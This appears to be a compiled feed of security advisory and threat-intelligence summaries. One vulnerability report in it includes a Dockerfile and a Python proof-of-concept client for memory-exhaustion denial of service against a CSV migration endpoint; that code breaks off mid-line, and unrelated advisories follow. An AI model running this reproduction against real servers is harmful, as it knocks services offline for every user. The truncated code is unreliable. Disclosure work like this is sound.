vLLM is an inference and serving engine for large language models. Prior to 0.30.0, OpenAI-compatible request models accept a non-empty cache_salt value without enforcing the character and length restrictions required by the IPCCacheServerKey consumer in LMCache-MP. On deployments using the LMCache-MP connector, a salt that contains a forbidden character or exceeds the permitted length can raise an uncaught ValueError during scheduler cache lookup, causing EngineCore to terminate and denying service to all concurrent users. This issue is fixed in version 0.30.0.
vLLM versions prior to 0.30.0 have an authorization bypass vulnerability in the /score and /rerank endpoints. The issue arises because the query_key used for scoring is derived from the user-controlled X-Request-Id header. This allows an attacker to reuse a victim's identifier in concurrent requests, causing the victim's documents to be scored against the attacker's query and potentially triggering cache-miss errors. The vulnerability is fixed in version 0.30.0.
vLLM versions prior to 0.30.0 contain an improper input validation vulnerability in the /inference/v1/generate endpoint. This flaw allows crafted inputs in several fields to cause termination of the shared EngineCore, poison or retrieve cross-request encoder-cache state, and alter replayed transport semantics. The issue is resolved in version 0.30.0.
vLLM is an inference and serving engine for large language models. Prior to 0.30.0, Harmony tool continuations submitted through "POST /v1/responses" requests rebuild the next-turn engine input without preserving the cache_salt value, placing the continuation prefix in the global unsalted cache namespace even when the caller enabled salting. On deployments with prefix caching enabled, which is the default, an authenticated tenant who can reconstruct a victim's low-entropy post-tool history can submit the same continuation and use the cached_tokens_per_turn count to determine whether the prefix was previously processed, defeating the intended tenant isolation of salted prefix caching. This issue is fixed in version 0.30.0.
CVE-2026-100515 is a reflected cross-site scripting (XSS) vulnerability in VillaTheme Photo Reviews for WooCommerce. It affects versions from initial release up to 1.2.30. The vulnerability allows improper neutralization of input during web page generation, potentially enabling attackers to execute arbitrary scripts in users' browsers. The CVSS score is 7.1, indicating a high severity level. No official patch or vendor advisory is provided in the input data.
ezBookkeeping versions 1.2.0 up to but not including 2.0.1 contain a privilege escalation vulnerability. Attackers with an API token can exploit the token refresh endpoint to obtain a full session token without proper authorization checks. This allows bypassing API token expiry and allowlists, potentially extending access privileges for 30 days.
CVE-2026-103880 is an asymmetric resource consumption vulnerability in the Apache Directory LDAP API. It occurs when storing a password using the bcrypt algorithm with a high cost factor (e.g., 30), causing the LDAP server CPU to run for hours during credential verification. This can lead to a denial-of-service (DoS) condition. The issue affects versions from 2.1.0 up to but not including 2.1.9. The vulnerability is fixed in version 2.1.9.
CVE-2026-100517 is an authorization bypass vulnerability in VillaTheme Photo Reviews for WooCommerce plugin versions prior to 1.2.31. The flaw arises from incorrectly configured access control security levels that allow an attacker to bypass authorization using a user-controlled key. This vulnerability affects versions from initial release up to 1.2.30 and has a high severity rating with a CVSS score of 7.5. A fix is available in version 1.2.31.
An undocumented remote-access Trojan named Kothamine Agent has been discovered with support for over 30 commands, enabling attackers to control infected Windows systems through command execution, file manipulation, and capability extension. Some variants include browser data theft and camera/microphone recording functionality. The malware has been distributed through malicious npm packages and utilizes tailcat, an open-source Tailscale tool, to establish encrypted command-and-control communications that evade conventional network inspection and blocking. Earlier versions employed Tailscale VPN before transitioning to tailcat. Active since July based on VirusTotal and GitHub evidence, Kothamine features a plugin system for loading additional DLLs, UAC bypass capabilities in certain builds, and employs AES-GCM encryption for C2 communications. The malware achieves persistence through scheduled tasks and adds Windows Defender exclusions during installation.
# Unbounded CSV row cardinality permits API process termination
## Summary
The authenticated v2 CSV migration route caps upload bytes but not parsed row cardinality. It reads every record into a [][]string and then materializes a full task object for every row before insertion. Two million one-cell rows fit in a roughly 4 MB multipart request yet exhaust a 512 MiB API process.
## Impact and affected scope
- **Type:** Resource Exhaustion Csv Import
- **Affected component:** POST /api/v2/migration/csv/migrate
- **Preconditions:** An ordinary authenticated user supplies a multipart CSV containing a very large number of tiny records plus a valid mapping configuration.
- **Verified revision:** `349cd5adbcc831ef08b08e6c9c6d627603c39606` on 28 August 2026
- **Affected release range:** `= 2.5.0`; broader historical range not established and maintainer confirmation requested
A low-privileged remote user can terminate the API process and deny service to all users with a request far below the configured upload-byte limit.
## Technical details
csv.Reader.ReadAll retains every row, after which convertToVikunja allocates a task structure for each row; the existing upload-byte cap does not constrain this cardinality amplification.
Attack path: Authenticate, upload two million one-cell records to the synchronous CSV migrate route with a valid ignore mapping, and exhaust process memory while parsing and materializing rows.
Relevant code:
- `pkg/routes/api/v2/migration_csv.go:96`
- `pkg/routes/api/v2/migration_csv.go:164`
- `pkg/modules/migration/csv/csv.go:281`
- `pkg/modules/migration/csv/csv.go:298`
- `pkg/modules/migration/csv/csv.go:590`
- `pkg/modules/migration/csv/csv.go:605`
- `pkg/modules/migration/csv/csv.go:627`
- `pkg/modules/migration/csv/csv.go:643`
- `pkg/modules/migration/csv/csv.go:655`
## Reproduction
Run this only against an authorized disposable environment. The complete verified minimum file set is reproduced below. It starts the isolated target, runs the security-relevant trigger, verifies an objective target/application signal, and exercises the available negative or sibling control.
Create `reproduction/Dockerfile`:
```text
FROM golang:1.27.0-alpine
RUN apk add --no-cache bash build-base ca-certificates python3 tzdata
WORKDIR /app
COPY . /app
RUN chmod +x /app/*.sh 2>/dev/null || true
# Target source is supplied only at runtime through /target-repo:ro.
# This image contains build dependencies and reproduction helpers, not a clone.
```
Create `reproduction/client.py`:
```python
#!/usr/bin/env python3
import json
import sys
import time
import urllib.error
import urllib.request
import uuid
BASE = "http://target:3456"
def json_request(method, path, body=None, token=None, expected=None):
raw = None if body is None else json.dumps(body).encode()
headers = {"Accept": "application/json"}
if body is not None:
headers["Content-Type"] = "application/json"
if token:
headers["Authorization"] = "Bearer " + token
req = urllib.request.Request(BASE + path, data=raw, headers=headers, method=method)
try:
with urllib.request.urlopen(req, timeout=30) as response:
status, data = response.status, response.read()
except urllib.error.HTTPError as exc:
status, data = exc.code, exc.read()
print(f"{method} {path} -> {status} {data[:250].decode(errors='replace')}", flush=True)
if expected is not None and status != expected:
raise RuntimeError(f"{method} {path}: got {status}, expected {expected}")
return status, json.loads(data.decode()) if data else {}
def wait_ready():
for _ in range(240):
try:
if json_request("GET", "/api/v1/info")[0] == 200:
return
except Exception:
pass
time.sleep(0.25)
raise RuntimeError("target did not become ready")
def register_and_login(username):
password = "PoC-password-123!"
json_request("POST", "/api/v2/register", {
"username": username,
"email": username + "@example.invalid",
"password": password,
}, expected=201)
_, login = json_request("POST", "/api/v2/login", {"username": username, "password": password}, expected=200)
return login["token"]
def migrate(token, csv_data, config, expect_response):
boundary = "----PoC-" + uuid.uuid4().hex
body = (
f"--{boundary}\r\nContent-Disposition: form-data; name=\"config\"\r\n\r\n{config}\r\n".encode()
+ f"--{boundary}\r\nContent-Disposition: form-data; name=\"import\"; filename=\"fixture.csv\"\r\nContent-Type: text/csv\r\n\r\n".encode()
+ csv_data
+ f"\r\n--{boundary}--\r\n".encode()
)
print(f"PoC_CSV_REQUEST rows={csv_data.count(bytes([10]))} request_bytes={len(body)}", flush=True)
req = urllib.request.Request(
BASE + "/api/v2/migration/csv/migrate",
data=body,
headers={"Authorization": "Bearer " + token, "Content-Type": "multipart/form-data; boundary=
A malicious browser extension named 'Twitch Enhanced Viewer | JeetBot' distributed via Chrome Web Store and Firefox Add-ons steals Twitch OAuth tokens from approximately 30,000 Chrome users and 552 Firefox users. The extension masquerades as a tool to improve user experience by blocking ads and unlocking streams but secretly captures and exfiltrates OAuth session tokens to Russian-controlled proxy servers. The stolen tokens are sent during video playlist redirects or via POST requests to collection endpoints. The operator is linked to a commercial Russian bot service called JeetBot, with infrastructure hosted in Germany and cloud providers.
OS command injection vulnerability in Cosminexus Component Container.
This issue affects Cosminexus Component Container: from 11-70-01 before 11-70-03, from 11-60 before 11-60-03, from 11-50 through 11-50-03, from 11-40 through 11-40-03, from 11-30 through 11-30-08, from 11-20 before 11-20-10, from 11-10 through 11-10-11, from 11-00 before 11-00-13, from 09-87 before 09-87-10, from 09-80 before 09-80-05, from 09-70 before 09-70-28, from 09-50 through 09-50-22, and from 09-00 through 09-00-18.
Improper restriction of XML external entity reference vulnerability in Cosminexus Component Container.
This issue affects Cosminexus Component Container: from 11-70-01 before 11-70-03, from 11-60 before 11-60-03, from 11-50 through 11-50-03, from 11-40 through 11-40-03, from 11-30 through 11-30-08, from 11-20 before 11-20-10, from 11-10 through 11-10-11, from 11-00 before 11-00-13, from 09-87 before 09-87-10, from 09-80 before 09-80-05, from 09-70 before 09-70-28, from 09-50 through 09-50-22, and from 09-00 through 09-00-18.
Deserialization of untrusted data vulnerability in Cosminexus Component Container.
This issue affects Cosminexus Component Container: from 11-70-01 before 11-70-03, from 11-60 before 11-60-03, from 11-50 through 11-50-03, from 11-40 through 11-40-03, from 11-30 through 11-30-08, from 11-20 before 11-20-10, from 11-10 through 11-10-11, from 11-00 before 11-00-13, from 09-87 before 09-87-10, from 09-80 before 09-80-05, from 09-70 before 09-70-28, from 09-50 through 09-50-22, and from 09-00 through 09-00-18.
Red Hat OpenShift Dev Spaces 3.30.0 is a cloud developer workspace server and browser-based IDE designed for container-based development on OpenShift. The 3.30 release is based on Eclipse Che 7.121 and supports workspaces using devfile v2.1 and v2.2 standards. Users still using the older v1 devfile standard are advised to migrate promptly. This release supports OpenShift EUS releases v4.16 and higher. The advisory does not list any specific fixes for CVE-2025-55163 or related CVEs in this release.
A malicious file identified by the SHA-256 hash ed555255a37cf5daec7f617af1c5553723b47376830c666bdf036f5ea9e979e8 was observed twice on August 30, 2026, by OffSeq Mirage honeypot sensors. The file is associated with attacker activity involving the MITRE ATT&CK technique T1105 (Ingress Tool Transfer). The malicious payload could be a dropper, web shell, miner, or post-exploitation tool. The attacker infrastructure was located in Great Britain. This indicator can be used to detect and block this specific malicious file in environments and security tools.
A Chinese-speaking threat actor tracked as Red Heron rapidly weaponized CVE-2026-60004, a critical Gitea remote code execution vulnerability, within days of public disclosure in July 2026. The actor scanned 1,386 Gitea instances across seven countries, successfully compromising organizations in Canada, Argentina, Taiwan, the United States, and Sri Lanka. Activities included source code theft, credential collection, SSH persistence, and lateral movement, with one case escalating from a vulnerable Gitea server to root access across a three-node Proxmox cluster. An exposed staging server revealed targeting taxonomies using Simplified Chinese labels covering defense, elections, energy, aerospace, telecommunications, and government sectors. The campaign deployed JITTERLY, a C++ Linux implant with 30+ post-exploitation commands, embedding SIXZUT, a previously undocumented LD_PRELOAD rootkit capable of hiding files, processes, and network connections while protecting the implant from termination.
CVE-2026-65905 is a critical authentication bypass vulnerability in Apache Tomcat's DIGEST authenticator. It allows replaying a DIGEST authenticated request once if the nonceCount is at the upper boundary of the replay window before windowSize requests have been made. This affects multiple Apache Tomcat versions from 7.0.30 through 11.0.24 and some earlier unsupported versions. The issue is fixed in Apache Tomcat versions 11.0.25, 10.1.58, and 9.0.121.
.NET 8.0 on Red Hat Enterprise Linux 10.0 has multiple security vulnerabilities including denial of service, privilege escalation, security feature bypass, local code execution, information disclosure, and network spoofing. These issues affect various components such as ASP.NET Core, .NET Core, and the .NET Framework. Red Hat has released an important security update addressing these vulnerabilities in SDK version 8.0.130 and runtime version 8.0.30. The update also includes bug fixes and enhancements for .NET RPM builds.